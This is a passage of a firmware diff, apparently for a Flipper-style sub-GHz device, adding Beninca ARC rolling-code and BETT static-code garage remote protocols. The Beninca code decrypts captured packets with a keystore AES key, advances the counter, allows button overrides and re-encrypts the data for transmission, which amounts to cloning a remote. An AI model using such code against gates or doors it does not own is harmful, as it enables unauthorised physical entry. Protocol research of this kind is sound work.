+    generic->cnt = ((uint32_t)encrypted_data[10] << 24) | ((uint32_t)encrypted_data[11] << 16) |
+                   ((uint32_t)encrypted_data[12] << 8) | encrypted_data[13];
+    // Fixed constant value AA 55
+    generic->seed = ((uint16_t)encrypted_data[14] << 8) | encrypted_data[15];
+
+    // Save original button for later use
+    // if(subghz_custom_btn_get_original() == 0) {
+    //     subghz_custom_btn_set_original(generic->btn);
+    // }
+        // subghz_custom_btn_set_max(2);
+
+    return middle_bytes;
+}
+
+static void subghz_protocol_beninca_arc_encrypt(
+    SubGhzBlockGeneric* generic,
+    SubGhzKeystore* keystore,
+    uint64_t middle_bytes) {
+    // Beninca ARC Encoder
+    // 01.2026 - @xMasterX (MMX) & @zero-mega
+    // Encrypt data
+    uint8_t plaintext[16];
+
+    plaintext[0] = (generic->serial >> 24) & 0xFF;
+    plaintext[1] = (generic->serial >> 16) & 0xFF;
+    plaintext[2] = (generic->serial >> 8) & 0xFF;
+    plaintext[3] = generic->serial & 0xFF;
+    plaintext[4] = generic->btn;
+    plaintext[5] = (middle_bytes >> 32) & 0xFF;
+    plaintext[6] = (middle_bytes >> 24) & 0xFF;
+    plaintext[7] = (middle_bytes >> 16) & 0xFF;
+    plaintext[8] = (middle_bytes >> 8) & 0xFF;
+    plaintext[9] = middle_bytes & 0xFF;
+    plaintext[10] = (generic->cnt >> 24) & 0xFF;
+    plaintext[11] = (generic->cnt >> 16) & 0xFF;
+    plaintext[12] = (generic->cnt >> 8) & 0xFF;
+    plaintext[13] = generic->cnt & 0xFF;
+    plaintext[14] = (generic->seed >> 8) & 0xFF;
+    plaintext[15] = generic->seed & 0xFF;
+
+    uint8_t aes_key[16];
+    get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
+
+    uint8_t encrypted[16];
+    furi_hal_crypto_aes128_ecb_encrypt(aes_key, plaintext, encrypted);
+    memcpy(plaintext, encrypted, 16);
+
+    reverse_bits_in_bytes(plaintext, 16);
+
+    for(uint8_t i = 0; i < 8; i++) {
+        generic->data = (generic->data << 8) | plaintext[i];
+        generic->data_2 = (generic->data_2 << 8) | plaintext[i + 8];
+    }
+    return;
+}
+
+void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolEncoderBenincaARC));
+
+    instance->base.protocol = &subghz_protocol_beninca_arc;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->encoder.repeat = 1;
+    instance->encoder.size_upload = 800;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    return instance;
+}
+
+void subghz_protocol_encoder_beninca_arc_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_encoder_beninca_arc_stop(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    instance->encoder.is_running = false;
+}
+
+static void subghz_protocol_beninca_arc_encoder_get_upload(
+    SubGhzProtocolEncoderBenincaARC* instance,
+    size_t* index) {
+    furi_assert(instance);
+    size_t index_local = *index;
+
+    // First part of data 64 bits
+    for(uint8_t i = 64; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+        }
+    }
+    // Second part of data 64 bits - total 128bits data
+    for(uint8_t i = 64; i > 0; i--) {
+        if(bit_read(instance->generic.data_2, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+        }
+    }
+    // Add stop bit
+    instance->encoder.upload[index_local++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+    // Add gap between packets
+    instance->encoder.upload[index_local++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long * 15);
+
+    *index = index_local;
+}
+
+static void subghz_protocol_beninca_arc_encoder_prepare_packets(
+    SubGhzProtocolEncoderBenincaARC* instance) {
+    furi_assert(instance);
+
+    // Counter increment
+    // check OFEX mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFFFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        // TODO: OFEX mode
+        instance->generic.cnt += 1;
+    }
+    // Index for upload array
+    size_t index = 0;
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_beninca_arc_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    // Make 3 packets with different mini counter values - 2, 4, 6
+    for(uint8_t i = 0; i < 3; i++) {
+        subghz_protocol_beninca_arc_encrypt(
+            &instance->generic, instance->keystore, (uint64_t)((i + 1) * 2));
+        subghz_protocol_beninca_arc_encoder_get_upload(instance, &index);
+    }
+    // Set final size of upload array
+    instance->encoder.size_upload = index;
+}
+
+bool subghz_protocol_beninca_arc_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    // UwU
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.btn = btn; // 02 / 04
+    instance->generic.cnt = cnt;
+    instance->generic.seed = 0xAA55; // Fixed value constant
+    instance->generic.data_count_bit = 128;
+
+    subghz_protocol_beninca_arc_encrypt(&instance->generic, instance->keystore, 0x1);
+
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data2");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    return res == SubGhzProtocolStatusOk;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+
+        // TODO: if minicounter having larger value use it instead of fixed values
+        subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
+
+        subghz_protocol_beninca_arc_encoder_prepare_packets(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Key");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Data");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolDecoderBenincaARC));
+    instance->base.protocol = &subghz_protocol_beninca_arc;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+    instance->decoder.parser_step = BenincaARCDecoderStart;
+    return instance;
+}
+
+void subghz_protocol_decoder_beninca_arc_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_beninca_arc_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    instance->decoder.parser_step = BenincaARCDecoderStart;
+}
+
+void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case BenincaARCDecoderStart:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long * 16) <
+                        subghz_protocol_beninca_arc_const.te_delta * 15)) {
+            // GAP (9300 +- 2325 us) found switch to next state
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = BenincaARCDecoderHighLevel;
+            break;
+        }
+        // No GAP so stay in current state
+        break;
+    case BenincaARCDecoderHighLevel:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = BenincaARCDecoderLowLevel;
+            // Check if we have collected enough bits
+            if((instance->decoder.decode_count_bit ==
+                (subghz_protocol_beninca_arc_const.min_count_bit_for_found / 2)) &&
+               (instance->decoder.decode_data != 0)) {
+                // Half data captured 64 bits
+                instance->generic.data = instance->decoder.decode_data;
+                instance->decoder.decode_data = 0;
+            } else if(
+                instance->decoder.decode_count_bit ==
+                subghz_protocol_beninca_arc_const.min_count_bit_for_found) {
+                // Full data captured 128 bits
+                instance->generic.data_2 = instance->decoder.decode_data;
+                instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                instance->decoder.parser_step = BenincaARCDecoderStart;
+
+                if(instance->base.callback) {
+                    instance->base.callback(&instance->base, instance->base.context);
+                }
+
+                break;
+            }
+        } else {
+            instance->decoder.parser_step = BenincaARCDecoderStart;
+        }
+        break;
+    case BenincaARCDecoderLowLevel:
+        if(!level) {
+            // Bit 1 is short and long timing = 300us HIGH (te_last) and 600us LOW
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_short) <
+                subghz_protocol_beninca_arc_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long) <
+                subghz_protocol_beninca_arc_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = BenincaARCDecoderHighLevel;
+                // Bit 0 is long and short timing = 600us HIGH (te_last) and 300us LOW
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_long) <
+                 subghz_protocol_beninca_arc_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_short) <
+                 subghz_protocol_beninca_arc_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = BenincaARCDecoderHighLevel;
+            } else {
+                instance->decoder.parser_step = BenincaARCDecoderStart;
+            }
+            break;
+        } else {
+            instance->decoder.parser_step = BenincaARCDecoderStart;
+            break;
+        }
+    }
+}
+
+uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_beninca_arc_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+
+    uint64_t middle_bytes_dec =
+        subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 32;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_printf(
+        output,
+        "%s %db\r\n"
+        "Key1:%08llX\r\n"
+        "Key2:%08llX\r\n"
+        "Sn:%08lX Btn:%02X\r\n"
+        "Mc:%0lX Cnt:%0lX\r\n"
+        "Fx:%04lX",
+        instance->base.protocol->name,
+        instance->generic.data_count_bit,
+        instance->generic.data,
+        instance->generic.data_2,
+        instance->generic.serial,
+        instance->generic.btn,
+        (uint32_t)(middle_bytes_dec & 0xFFFFFFFF),
+        instance->generic.cnt,
+        instance->generic.seed & 0xFFFF);
+}

applications/system/Garage Door Remote/protocols/beninca_arc.h

@@ -0,0 +1,108 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_BENINCA_ARC_NAME "Beninca ARC"
+
+typedef struct SubGhzProtocolDecoderBenincaARC SubGhzProtocolDecoderBenincaARC;
+typedef struct SubGhzProtocolEncoderBenincaARC SubGhzProtocolEncoderBenincaARC;
+
+extern const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder;
+extern const SubGhzProtocol subghz_protocol_beninca_arc;
+
+/**
+ * Allocate SubGhzProtocolEncoderBenincaARC.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderBenincaARC* pointer to a SubGhzProtocolEncoderBenincaARC instance
+ */
+void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ */
+void subghz_protocol_encoder_beninca_arc_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ */
+void subghz_protocol_encoder_beninca_arc_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderBenincaARC.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderBenincaARC* pointer to a SubGhzProtocolDecoderBenincaARC instance
+ */
+void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ */
+void subghz_protocol_decoder_beninca_arc_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ */
+void subghz_protocol_decoder_beninca_arc_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/bett.c

@@ -0,0 +1,333 @@
+#include "bett.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+// protocol BERNER / ELKA / TEDSEN / TELETASTER
+#define TAG "SubGhzProtocolBett"
+
+#define DIP_P 0b11 //(+)
+#define DIP_O 0b10 //(0)
+#define DIP_N 0b00 //(-)
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
+#define SHOW_DIP_P(dip, check_dip)                         \
+    ((((dip >> 0x8) >> 0x8) == check_dip) ? '*' : '_'),    \
+        ((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
+
+static const SubGhzBlockConst subghz_protocol_bett_const = {
+    .te_short = 340,
+    .te_long = 2000,
+    .te_delta = 150,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderBETT {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderBETT {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    BETTDecoderStepReset = 0,
+    BETTDecoderStepSaveDuration,
+    BETTDecoderStepCheckDuration,
+} BETTDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_bett_decoder = {
+    .alloc = subghz_protocol_decoder_bett_alloc,
+    .free = subghz_protocol_decoder_bett_free,
+
+    .feed = subghz_protocol_decoder_bett_feed,
+    .reset = subghz_protocol_decoder_bett_reset,
+
+    .get_hash_data = subghz_protocol_decoder_bett_get_hash_data,
+    .serialize = subghz_protocol_decoder_bett_serialize,
+    .deserialize = subghz_protocol_decoder_bett_deserialize,
+    .get_string = subghz_protocol_decoder_bett_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_bett_encoder = {
+    .alloc = subghz_protocol_encoder_bett_alloc,
+    .free = subghz_protocol_encoder_bett_free,
+
+    .deserialize = subghz_protocol_encoder_bett_deserialize,
+    .stop = subghz_protocol_encoder_bett_stop,
+    .yield = subghz_protocol_encoder_bett_yield,
+};
+
+const SubGhzProtocol subghz_protocol_bett = {
+    .name = SUBGHZ_PROTOCOL_BETT_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_bett_decoder,
+    .encoder = &subghz_protocol_bett_encoder,
+};
+
+void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderBETT* instance = malloc(sizeof(SubGhzProtocolEncoderBETT));
+
+    instance->base.protocol = &subghz_protocol_bett;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_bett_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBETT* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderBETT instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_bett_get_upload(SubGhzProtocolEncoderBETT* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_long);
+        }
+    }
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_bett_const.te_short +
+                subghz_protocol_bett_const.te_long * 7);
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_bett_const.te_long + subghz_protocol_bett_const.te_long * 7);
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBETT* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_bett_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_bett_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_bett_stop(void* context) {
+    SubGhzProtocolEncoderBETT* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_bett_yield(void* context) {
+    SubGhzProtocolEncoderBETT* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderBETT* instance = malloc(sizeof(SubGhzProtocolDecoderBETT));
+    instance->base.protocol = &subghz_protocol_bett;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_bett_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_bett_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    instance->decoder.parser_step = BETTDecoderStepReset;
+}
+
+void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case BETTDecoderStepReset:
